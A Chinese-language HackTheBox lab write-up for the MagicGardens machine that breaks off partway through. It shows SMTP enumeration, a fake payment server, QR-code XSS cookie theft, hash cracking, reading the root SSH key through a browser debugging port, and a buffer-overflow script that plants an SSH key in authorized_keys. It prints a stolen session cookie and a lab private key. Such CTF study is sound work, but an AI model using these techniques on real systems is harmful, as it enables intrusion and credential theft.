HackTheBox - Machine - MagicGardens

Recommand: Let’s Sign Up HTB Academy to get Higher level of knowledge :P

非常推薦: 想要變强嗎? 快來加入 HTB Academy 獲得更高級的知識吧 :P

MagicGardens

image

0x1 Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 e0:72:62:48:99:33:4f:fc:59:f8:6c:05:59:db:a7:7b (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE+EeX4lxNTcWYvgDh0dFVJlf0h9G0LwupXad6GDD9ct6lKEgELk3y0YuoNg/tOzn8t3TvhMsfAK2zB8dKfenM4=
| 256 62:c6:35:7e:82:3e:b1:0f:9b:6f:5b:ea:fe:c5:85:9a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIYE2YyLpUp0IAWy3y5WUxFUEuF51LNMOevqPNzYKudU
25/tcp open smtp? syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
80/tcp open http syn-ack ttl 63 nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://magicgardens.htb/
|_http-server-header: nginx/1.22.1
1337/tcp open waste? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, TerminalServer, TerminalServerCookie, X11Probe, afp, giop, ms-sql-s:
|_ [x] Handshake error
5000/tcp open ssl/http syn-ack ttl 62 Docker Registry (API: 2.0)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title.
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Issuer: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Public Key type: rsa
| Public Key bits: 4096
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2023-05-23T11:57:43
| Not valid after: 2024-05-22T11:57:43
| MD5: 2f97:8372:17ae:abe4:a4d9:5937:f438:3e71
| SHA-1: a6f9:ce07:c808:150a:00aa:f193:1b72:a963:f414:f57c

從結果上可以看到有一個郵件服務器和一個docker api,嘗試從郵件服務器入手。

0x2 25 - Smtp - Enumeration of user names

因爲有郵件服務器,所以嘗試爆破一下用戶名。

1
2
3
4
5
6
7
8
9
10
11
12
$ /Tools/Tools/SmtpUserEnum/smtp-user-enum -U /Tools/Wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt 10.129.231.24 25

Connecting to 10.129.231.24 25 ...
220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU)
250 magicgardens.magicgardens.htb
Start enumerating users with VRFY mode ...
[----] info 550 5.1.1 <info>: Recipient address rejected: User unknown in local recipient table
[----] admin 550 5.1.1 <admin>: Recipient address rejected: User unknown in local recipient table
<--- 此處省略 --->
[----] mail 252 2.0.0 mail
[----] alex 252 2.0.0 alex
[----] root 252 2.0.0 root

得到一些賬號,其中有一個alex的用戶,後面的爆破需要太長時間,所以我就停掉了。

0x3 80 - Web - Upgrade to premium

來到了80端口,打開一看他會自動跳轉到 http://magicgardens.htb/​ ,所以把他加入到hosts,然後去掃描一下子目錄。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
$ feroxbuster -u "http://magicgardens.htb/" -w /Tools/Wordlists/SecLists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt  -d 1

404 GET 10l 21w 179c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 0l 0w 0c http://magicgardens.htb/search => http://magicgardens.htb/search/
301 GET 0l 0w 0c http://magicgardens.htb/login => http://magicgardens.htb/login/
301 GET 0l 0w 0c http://magicgardens.htb/register => http://magicgardens.htb/register/
200 GET 150l 456w 30261c http://magicgardens.htb/static/store/heart.png
200 GET 9l 68w 5087c http://magicgardens.htb/static/store/youtube.png
301 GET 0l 0w 0c http://magicgardens.htb/profile => http://magicgardens.htb/profile/
200 GET 17l 219w 16221c http://magicgardens.htb/static/store/cart.png
200 GET 15l 73w 5934c http://magicgardens.htb/static/store/twitter.png
200 GET 140l 588w 8139c http://magicgardens.htb/catalog/Snowdrop
200 GET 147l 572w 8604c http://magicgardens.htb/catalog/Chrysanthemum
200 GET 126l 541w 7382c http://magicgardens.htb/catalog/Lilium
200 GET 151l 621w 8911c http://magicgardens.htb/catalog/Orchid
200 GET 151l 654w 9132c http://magicgardens.htb/catalog/Tulip
200 GET 122l 519w 7112c http://magicgardens.htb/catalog/Iris
200 GET 161l 616w 9222c http://magicgardens.htb/catalog/Carnation
200 GET 14l 80w 4316c http://magicgardens.htb/static/store/facebook.png
200 GET 112l 199w 14103c http://magicgardens.htb/static/store/star.png
200 GET 17l 113w 7571c http://magicgardens.htb/static/store/instagram.png
200 GET 36l 234w 16516c http://magicgardens.htb/static/store/logo.png
200 GET 143l 575w 8420c http://magicgardens.htb/catalog/Gerbera
200 GET 16l 128w 7376c http://magicgardens.htb/static/store/cart_dark.png
200 GET 156l 479w 35302c http://magicgardens.htb/static/store/catalog.png
200 GET 157l 611w 9042c http://magicgardens.htb/catalog/Rose
200 GET 163l 651w 48532c http://magicgardens.htb/static/store/favicon.png
200 GET 139l 325w 21887c http://magicgardens.htb/static/store/login.png
301 GET 0l 0w 0c http://magicgardens.htb/subscribe => http://magicgardens.htb/subscribe/
200 GET 853l 5257w 330945c http://magicgardens.htb/media/uploads/lilium.jpg
301 GET 0l 0w 0c http://magicgardens.htb/catalog => http://magicgardens.htb/catalog/
301 GET 0l 0w 0c http://magicgardens.htb/admin => http://magicgardens.htb/admin/
200 GET 1048l 6639w 459217c http://magicgardens.htb/media/uploads/snowdrop.jpg
200 GET 1106l 6633w 449490c http://magicgardens.htb/media/uploads/orchid.jpg
200 GET 12113l 25015w 280602c http://magicgardens.htb/static/store/bootstrap.css
200 GET 1181l 6383w 526899c http://magicgardens.htb/static/store/promo_2.png
301 GET 0l 0w 0c http://magicgardens.htb/cart => http://magicgardens.htb/cart/
200 GET 1820l 11235w 933970c http://magicgardens.htb/media/uploads/%D1%81hrysanthemum.jpg
200 GET 1091l 7314w 577616c http://magicgardens.htb/media/uploads/iris.jpg
200 GET 2336l 13564w 1082094c http://magicgardens.htb/static/store/promo.jpg
200 GET 1385l 7878w 615881c http://magicgardens.htb/media/uploads/gerbera.jpg
200 GET 1816l 11145w 869024c http://magicgardens.htb/media/uploads/tulip.jpg
200 GET 1359l 9638w 713065c http://magicgardens.htb/media/uploads/carnations.jpg
200 GET 2078l 11668w 895486c http://magicgardens.htb/media/uploads/rose.jpg
200 GET 458l 1853w 30861c http://magicgardens.htb/
301 GET 0l 0w 0c http://magicgardens.htb/logout => http://magicgardens.htb/logout/
301 GET 0l 0w 0c http://magicgardens.htb/check => http://magicgardens.htb/check/
301 GET 0l 0w 0c http://magicgardens.htb/restore => http://magicgardens.htb/restore/
301 GET 0l 0w 0c http://magicgardens.htb/wish_list => http://magicgardens.htb/wish_list/
[####################] - 15m 207675/207675 0s found:46 errors:0
[####################] - 15m 207629/207629 235/s http://magicgardens.htb/

看到有一個 /admin​,打開一看,是Django的後臺管理,查了一下,沒看到有exploit。

image

回到主頁,看起來是個購物的網站,

image

隨便打點東西

image

這就是熟悉的python後端,然後注冊一個賬號隨便買點東西

image

他告訴你,經理會聯係你,也就是說這裏會出現XSS,但是需要初出示二維碼,

可是我等了很久都沒有信息,

image

然後看了一下訂閲功能,原來是需要升級成尊貴的vip,才會被經理聯係,所以才會有xss,

image

這個時候看一下裏面的功能,點擊 Upgrade​ 之後看到下面的界面

image

用burp 抓一下:

image

看到他指定一個銀行的地址,假設銀行的地址指向本地會怎樣?

所以隨便開啓一個python服務器,然後改成自己的ip地址,點擊send看到:

image

也就是說服務器確實會去找銀行獲取信息,爲了知道服務器 post 了什麽内容,我用wireshark抓一下,

image

提交了,

1
{"cardname": "mane", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}

然後抓包的時候我還看到了一個銀行的地址: honestbank.htb​,所以看一下源碼,

image

把他加進去host,由於他是post,所以可以嘗試用curl去請求:

1
2
$ curl -X POST 'http://honestbank.htb/api/payments/' -d '{"cardname": "mane", "cardnumber": "1111-2222-3333-4444", "expmonth": "September", "expyear": "2026", "cvv": "352", "amount": 25}'
{"status": "402", "message": "Payment Required", "cardname": "mane", "cardnumber": "1111-2222-3333-4444"}

他返回了一個402,所以我有一個想法就是把他改成 200 看看會發生什麽:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from flask import Flask, jsonify, request

app = Flask(__name__)

@app.route('/api/payments/', methods=['POST'])
def sleepisgood():
req_json = request.get_json()
req_json['status'] = "200"
print(req_json)
return jsonify(req_json)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=True)

然後重新抓一次包,銀行改成本地的ip,點擊發送

image

結果顯示訂閲在處理中,

image

注意:當你第一次失敗了,你就要重新注冊一個新的帳號了。

如無意外的話會顯示訂閲成功:

image

那個二維碼好像怪怪的,看看路徑:

1
http://magicgardens.htb/qr_code/images/serve-qr-code-image/?text=MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjEuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk%3D&cache_enabled=1&size=s&boost_error=1&encoding=utf-8&token=s.4..svg.m.kgFZjMoHcmjYoAlN809p%3AAhhmd7QLsu6VSF3ZnxxgNBJLEgx9HPRC3xGmkTi62so

看到他是輸入一些base64的内容然後輸出一個二維碼

1
2
$ echo 'MGNjMTc1YjljMGYxYjZhODMxYzM5OWUyNjk3NzI2NjEuMGQzNDFiY2RjNjc0NmYxZDQ1MmIzZjRkZTMyMzU3Yjk=' | base64 -d  
0cc175b9c0f1b6a831c399e269772661.0d341bcdc6746f1d452b3f4de32357b9

起初我以爲這裏面有漏洞,去谷歌了一下 qr_code/images/serve-qr-code-image​ 發現是使用 Django QR Code's documentation​: https://django-qr-code.readthedocs.io/en/latest/pages/README.html

image

但查了下倒是沒有什麽exploit的地方。

0x4 80 - Web - XSS to morty

有了二維碼之後,就可以嘗試買東西和經理聯係,隨便買點東西,

image

然後就會看到:

image

爲了測試這個網頁有沒有xss,我可以發一條信息,當前信息的id是15,如果我發的信息裏面包含xss 攻擊,那麽我發送的信息就是 16 ,所以我可以打開16這個信息,看看有沒有出發xss,

image

試了很多之後,很可惜任何的xss都被轉義了,所以嘗試從二維碼入手:

image

我用cyberchef製作了一個二維碼,根據他的格式,然後猜測是用 .​ 來做一個分隔符,所以我就在xss的payload前面加了一個 .​ , 類似: <???>.<???>.<xss payload>​,

沒過多久,我得到了一個管理員的cookie,

image

1
csrftoken=RzHpUfcSEDyfym6GaNp4Ff9vzpUJYkFw; sessionid=.eJxNjU1qwzAQhZNFQgMphZyi3QhLluNoV7rvqgcwkixFbhMJ9EPpotADzHJ63zpuAp7d977Hm5_V7265mO4bH-GuJBO9PBuE1TnE_IWwTlnmksbgLUtrETafQ3LdaUgZYYGwnVCH4rOJ6Naw0TLmfz_SdqKZvu9kya67POqGHmHJEHazTEn9Yfwonvp36Y-B6OBzHBS5VMjVJvIaenN6uXUfZgNOJofwTBttmW0FrU3VcGbMgWlRKcWptIIy2Ryqfa1t0-o9VYqpyrCaG061amuuhcBC_gDes2X7:1sANql:64cveWeZgkIFkYcMrvHCDiHjm911J67upnfE0x_HeKE

然後利用這個cookie,成功的來到了morty 這個用戶。

image

所以嘗試去後臺看看:

image

成功進去後臺,然後點擊左邊的用戶,看到了一個hash

image

1
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

用nth掃一下,然後用hashcat爆破,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nth -t 'pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I='

_ _ _____ _ _ _ _ _
| \ | | |_ _| | | | | | | | | |
| \| | __ _ _ __ ___ ___ ______| | | |__ __ _| |_ ______| |_| | __ _ ___| |__
| . ` |/ _` | '_ ` _ \ / _ \______| | | '_ \ / _` | __|______| _ |/ _` / __| '_ \
| |\ | (_| | | | | | | __/ | | | | | | (_| | |_ | | | | (_| \__ \ | | |
\_| \_/\__,_|_| |_| |_|\___| \_/ |_| |_|\__,_|\__| \_| |_/\__,_|___/_| |_|

https://twitter.com/bee_sec_san
https://github.com/HashPals/Name-That-Hash


pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=

Most Likely
Django(PBKDF2-HMAC-SHA256), HC: 10000 JtR: django

得到一個密碼:

1
pbkdf2_sha256$600000$y7K056G3KxbaRc40ioQE8j$e7bq8dE/U+yIiZ8isA0Dc0wuL0gYI3GjmmdzNU+Nl7I=:jonasbrothers

0xA - Bruteforce morty ssh password

image

事實上一開始自己給自己提升vip的時候,隨便買點東西也可以看到是 Morty​ 的用戶,然後同smtp驗證下用戶有沒有存在

1
2
3
4
5
6
$ /Tools/Tools/SmtpUserEnum/smtp-user-enum -u morty 10.129.231.24 25                       
Connecting to 10.129.231.24 25 ...
220 magicgardens.magicgardens.htb ESMTP Postfix (Debian/GNU)
250 magicgardens.magicgardens.htb
Start enumerating users with VRFY mode ...
[----] morty 252 2.0.0 morty

看起來確實有這個用戶,所以可以嘗試爆破:

image

等了沒到10分鐘,就爆破成功。

0x5 SSH - Walking with morty

然後直接用 linpeas 看看,看到一些奇怪的東西,有一個 alex​ 一直運行 harvest server​,而且他的郵件裏面有東西

1
2
3
4
5
6
7
8
9
alex        1836  0.0  0.2  18968 10644 ?        Ss   May23   0:00 /lib/systemd/systemd --user                                                                                          
alex 1837 0.0 0.0 102708 3048 ? S May23 0:00 _ (sd-pam)
alex 1856 0.0 0.0 2464 872 ? S May23 0:00 harvest server -l /home/alex/.harvest_logs

???????????? Mails (limit 50)
261278 4 -rw------- 1 alex mail 1594 Sep 29 2023 /var/mail/alex
296528 36 -rw------- 1 root mail 28923 Apr 11 09:32 /var/mail/root
261278 4 -rw------- 1 alex mail 1594 Sep 29 2023 /var/spool/mail/alex
296528 36 -rw------- 1 root mail 28923 Apr 11 09:32 /var/spool/mail/root

然後看了一下路徑,不像是開源的軟件。

1
2
morty@magicgardens:~$ whereis harvest 
harvest: /usr/local/bin/harvest

0xB Unintended Root - Debuging port

如圖所示,跑了linpeas之後看到紅色的debug port,

image

可以看到是用root運行的,而且并不是在container裏面,

1
2
3
4
5
6
7
root         819  0.0  0.0   6608  2740 ?        Ss   May23   0:00 /usr/sbin/cron -f                                                                                                      
root 825 0.0 0.0 8500 2752 ? S May23 0:00 _ /usr/sbin/CRON -f
root 828 0.0 0.0 2576 916 ? Ss May23 0:00 _ /bin/sh -c sleep 90; /root/AI/AI.py
root 1867 0.0 0.6 33704 25508 ? S May23 0:02 _ /usr/bin/python3 /root/AI/AI.py
root 1868 0.0 0.1 9436 5388 ? Sl May23 0:00 _ /root/AI/geckodriver --port 59741 --websocket-port 40699
root 1875 2.5 8.5 11355552 343580 ? Sl May23 6:05 _ firefox-esr --marionette --headless --remote-debugging-port 40699 --remote-allow-hosts localhost -no-r
emote -profile /tmp/rust_mozprofilekV2dpz

然後網上查了一下 chrome debug port 看到:https://chromedevtools.github.io/devtools-protocol/

所以嘗試用curl 請求看看,也就是說這個瀏覽器裏面開了一個選項卡而已:

1
2
3
4
5
6
7
8
9
10
11
12
morty@magicgardens:~$ curl http://127.0.0.1:40699/json/list
[
{
"description": "",
"devtoolsFrontendUrl": null,
"faviconUrl": "",
"id": "2bcb56a9-b26d-4ed2-a3c7-33de00d9919e",
"type": "page",
"url": "http://magicgardens.htb/admin/store/order/",
"webSocketDebuggerUrl": "ws://127.0.0.1:40699/devtools/page/2bcb56a9-b26d-4ed2-a3c7-33de00d9919e"
}
]

然後用 websocat 進行交互:https://github.com/vi/websocat (官方例子也寫的不錯,不過還是要搭配上面chrome的文檔看)

由於chrome可以打開本地的文件,於是就讓chrome的打開 file:///root/.ssh/id_rsa​ 然後把他輸出成pdf,再保存下來,這樣就看到了root的ssh 密匙。

所以把websocat上傳到機器上,然後打開一個選項卡:

1
2
$ echo 'Target.createTarget {"url":"file:///root/.ssh/id_rsa"}' | ./websocat -n1 --jsonrpc --jsonrpc-omit-jsonrpc ws://127.0.0.1:40699/devtools/page/2bcb56a9-b26d-4ed2-a3c7-33de00d9919e
{"id":1,"result":{"targetId":"ecd3d2c1-cb39-4614-ae4c-9e9806379389"}}

由於對面的機器沒有jq,於是把他保存成json然後下載下來:

1
morty@magicgardens:~$ echo 'Page.printToPDF {"targetId":"ecd3d2c1-cb39-4614-ae4c-9e9806379389"}' | ./websocat -n1 --jsonrpc --jsonrpc-omit-jsonrpc ws://127.0.0.1:40699/devtools/page/ecd3d2c1-cb39-4614-ae4c-9e9806379389  > output.json

手動複製粘貼也可以,沒有多少内容

image

把他複製粘貼到本地的文件之後,用jq導出成pdf文件。

1
$ cat test.json | jq -r '.result.data' | base64 -d > output.pdf

image

然後得到了root的密鑰,使用這個密鑰就可以root了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAIEAsyXq6mfyWfzHMRdLtAPytpPckxE8mcuf7Nunf9o+gwQg3h/B9N+L
cWZTlmHCSmvDnFFfH9nTEG7ZGBntVpEAOAuWRYojNAFvYSvrDQMMRO/ErPSEFTmkKQtJdt
ac0Xfs2aGHPpO9JdeNskgC3yQwv+8eLHNqXNTRtzGirD87PbsAAAII1XMGntVzBp4AAAAH
c3NoLXJzYQAAAIEAsyXq6mfyWfzHMRdLtAPytpPckxE8mcuf7Nunf9o+gwQg3h/B9N+LcW
ZTlmHCSmvDnFFfH9nTEG7ZGBntVpEAOAuWRYojNAFvYSvrDQMMRO/ErPSEFTmkKQtJdtac
0Xfs2aGHPpO9JdeNskgC3yQwv+8eLHNqXNTRtzGirD87PbsAAAADAQABAAAAgQCV4gB0E3
mZPjqtYM8ukisMBBOEW+R2y/1GXtP5zO+GD/srvCg7Jph0zObcJ3g1aYnkC9RpQoYq9oLd
fjuqtHAYDVzTDoZHfc3BJC15iw7KoQiOXsrbO8P8aLomYbfiLgPsf0E3aARKjEX44j+ELv
2SPzhL1WHRAfu13Nbvf7ha6QAAAEAK83MYwkGkatXHuVEBjQuVKiJDr1A9IgDoGQ3/WVTu
NNm57te2HnQuqK8CTxMOE6CiPXoEwO4UUgzVOXbNBbieAAAAQQDc6qe4ez2iTRZ0WoEfe9
heXP2ikBgn+JBeSmMYd5EHtMScCmBS06ooqnfAnaP6P2Y0AA4LeWIGYkI/PxyOqgVVAAAA
QQDPmSrwc1bYM6tzvwDS0LYmibNUPpQh/eFPoUTs7AHErvpLve5Grygd38N5zWuKYA2xv9
NZtR9pU8HLUhC8HTbPAAAAEXJvb3RAbWFnaWNnYXJkZW5zAQ==
-----END OPENSSH PRIVATE KEY-----

0x6 Analysis /usr/local/bin/harvest

大概看了一下,需要先打開監聽模式,軟件才會開始監聽網卡的流量,然後才可以利用裏面的bug去寫入文件。

0x6A 讓服務器打開監聽模式

由於 alex​ 這個用戶一直運行 harvest​ ,所以下載下來用ida打開看看:

image

一開始的時候會比較handshake,如果handshake正確的話才會開始監聽,但是在上面可以看到handshake是以 harvest v​ 開頭,後面還隱藏了一些字母或者是數字,所以

image

用gdb下了個斷點:

image

然後看到最後的是 1.0.3​ 也就是他的版本號,

image

於是就可以嘗試,結果成功的打開了監聽的模式。

image

0x6B 緩存區溢出

image

然後觀察了一下僞代碼,發現如果是ipv6的話就會顯示可疑的内容,然後記錄到文件。

也就是說默認ipv4是放行,但是是ipv6的話就會保存到文件,然後提示有問題。

爲了測試有沒有緩衝區溢出,所以嘗試用python僞造一個65500的包,發送過去看看,

1
2
3
4
5
6
7
import socket

server_address = ('::1',6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)
data = b'A'*65500
s.send(data)

爲了可以觀察到程序寫入了本地什麽文件,我使用了 strace -t -e trace=openat​來觀察程序寫了什麽路徑到本地,

image

你可以看到有很多AAAAA寫進去了本地,也就是說他真的有緩衝區溢出,爲了要確定文件名字在payload的哪個位置,所以用msf-pattern_create​來生成一個65500的payload:

1
msf-pattern_create -l 65500 > bof.txt

保存到文件之後用python出去看看:

image

得到:Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy​ 的文件名

也就是說文件名在payload的下列位置:

1
2
3
4
5
?$ msf-pattern_offset -q Fu8F -l 65500   
[*] Exact match at offset 4524
[*] Exact match at offset 24804
[*] Exact match at offset 45084
[*] Exact match at offset 65364

爲什麽會有四個位置?因爲msf不支持快速定位太大的payload,所以如果要生成太大的payload,就會重複一小段的payload,比如上面,生成65500的payload就重複了4次。

經過測試發現文件名在65364這個位置,於是可以寫一個脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ cat exp.py 
import socket

server_address = ('::1',6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

data = ''
with open('bof.txt', 'rb') as f:
data = bytearray(f.read())

replace = b"/tmp/mane.txt\r"

data[65364:len(replace)] = replace

s.send(data)

可以看到文件名以及成功被定位修改了,

image

然後在 /tmp​ 也可以看到這個文件名

1
2
$ ls /tmp
'mane.txt'$'\r''Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6'

這個時候只需要微調payload,就可以得到任意寫入文件名的長度:

image

下面是手動微調后的脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ cat exp.py 
import socket

server_address = ('::1',6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

data = ''
with open('bof.txt', 'rb') as f:
data = bytearray(f.read())

replace = b"/tmp/mane.txt"

s.send(data[:65372] + replace)

0x6C 那麽内容呢?

由於我要嘗試寫入一些内容,所以看看payload的内容有沒有出現在文件裏面:

image

可以看到開頭是 Aa4A​ ,由於文件這麽長,就猜測是從12開始,

1
2
3
4
5
$ msf-pattern_offset -q Aa4A -l 65500  
[*] Exact match at offset 12
[*] Exact match at offset 20292
[*] Exact match at offset 40572
[*] Exact match at offset 60852

然後同樣的:

image

寫入一些内容看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import socket

server_address = ('::1',6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

data = ''
with open('bof.txt', 'rb') as f:
data = bytearray(f.read())

replace = b"/tmp/mane.txt"

sendData = data[:65372] + replace

inject = "mane1111"
sendData[12:12+len(inject)] = inject.encode()

s.send(sendData)

結果成功了,這樣我就可以利用它 寫入ssh key來登錄alex這個用戶了,所以生成一個ssh key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ ssh-keygen                        
Generating public/private rsa key pair.
Enter file in which to save the key (/home/mane/.ssh/id_rsa): ./key
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./key
Your public key has been saved in ./key.pub
The key fingerprint is:
SHA256:r1j/85xOA76kjIGPA1YeRrRgvgJoeJGw0U53N8LqJ2E mane@HTB
The key's randomart image is:
+---[RSA 3072]----+
|oo..oo. |
|oo++..=.o |
|=+...+.o . |
|.o. E.+ |
| .o.= .S . |
| .= o. . . . |
| . +. o . o o |
| .= * o.+ o |
| o.+ +.o+= |
+----[SHA256]-----+

$ ls key*
key key.pub

然後讓服務器開啓監聽模式:

1
2
morty@magicgardens:~$ echo "harvest v1.0.3" > /dev/tcp/127.0.0.1/1337
morty@magicgardens:~$ python3 exp.py

這樣運行exp,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import socket

server_address = ('::1',6666)
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect(server_address)

data = bytearray(b'\n'*65403)

key = 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCpdQ6GtEMBjQG0HQIyFFGyLA+3oXbZZR7J2cX4NUn4fmNwtjy4W3w0t5rlwYsDbX+c8gCquzQ+cH+TUuhvXRs10ch7PmLpvoCdRKMeU5tZzmchch7mfJlk2beYyfeM18q+UCfyov5p/XsRIgPYMMpSXGCCWy3tuO6DVQQTiFKjdIo6HHkuNlhQ7rIGl6oN0hQGApvILjwdDFvv/jYdC78eRZUOPDIlUdbJ/jXqjqRAfAZFbJgwPyCRc+8nrmKWjJA4HCqo62qUNb/Xx05FuLjfq58xVXGdOME+7YwHZOimdQss5LRTZNiqhUWlhBNTZbbYmPB+OZt/XUvtNmi7SWQor6V66xHMyhqePzxSt+cWr/ZOMd/rzT19fIER4ntqxGqjgnlmdApe24xopZh8hXxtYqzI+1PicDMJoqoP4Dm88BaKcpkeajvjmSXvaJN/guTb2D6MCbcNYS2HZtC7KysSwzdk0ZomVeUe3+hqW5cLiCEl7WanrZ0jzuQkWujyIv8= mane@HTB'

replace = b"/home/alex/.ssh/authorized_keys"

sendData = data[:65372] + replace
sendData[12:12+len(key)] = key.encode()

s.send(sendData)

文件就寫進去了。然後登陸看看:

image

成功到了alex這個用戶,總結如下:

image

Note: 這裏可能會不太明白,所以擧個例子:

假設你知道對面的服務器有溢出漏洞,像上面的那個例子一樣,是可以利用來寫文件的,

比如我發出去是: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag

但是程序處理我的payload的時候溢出了,程序開始異常,通過一些debug的手法看到程序正在寫 Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A 的文件,文件内容是 Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0

因爲payload是可以控制,我只需要控制好payload是不是我就可以間接的讓程序寫入到哪裏,寫的内容是什麽?

  • 文件路徑: 由於我知道程序在寫Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0A 這個文件,所以這一串東西以Ad0A 開頭在payload裏面是90的位置。

  • 文件内容: 我也知道程序寫的内容是Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0,這一串東西以Aa4A 在我的payload是第12的位置。

也就是說文件路徑在我的payload的第90個位置,如果我想寫 /tmp/mane.txt 的内容是 power by mane

我就可以修改在90的位置開始改成 /tmp/mane.txt,然後在 12的位置改成power by mane 然後用空格填充到90的位置:

  • 原本: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3A
  • 修改後: Aa0Aa1Aa2Aa3power by mane Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9/tmp/mane.txt (後面的用x00填充或者乾脆不填也可以)

那麽如何快速的定位在哪裏呢? 比較常用的是使用Overflow Exploit Pattern Generator這玩意,生成一堆有規律的字母,只需要知道4個字母就可以快速定位。

但是會有缺點,因爲他要求至少4個字母,很多情況下可能會吃掉一些字母(很少數,因爲都是8byte對齊這樣),而且會有最大長度的限制。

能不能手動的去猜呢? 可以,其實你也可以亂打一堆東西上去猜也沒問題,目的也只是爲了獲取位置(offset)在哪裏而已。

0x7 SSH - Walking with alex

一開始的時候看見郵件裏面有東西,於是就急忙看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
alex@magicgardens:~$ cat /var/mail/alex 
From root@magicgardens.magicgardens.htb Fri Sep 29 09:31:49 2023
Return-Path: <root@magicgardens.magicgardens.htb>
X-Original-To: alex@magicgardens.magicgardens.htb
Delivered-To: alex@magicgardens.magicgardens.htb
Received: by magicgardens.magicgardens.htb (Postfix, from userid 0)
id 3CDA93FC96; Fri, 29 Sep 2023 09:31:49 -0400 (EDT)
MIME-Version: 1.0
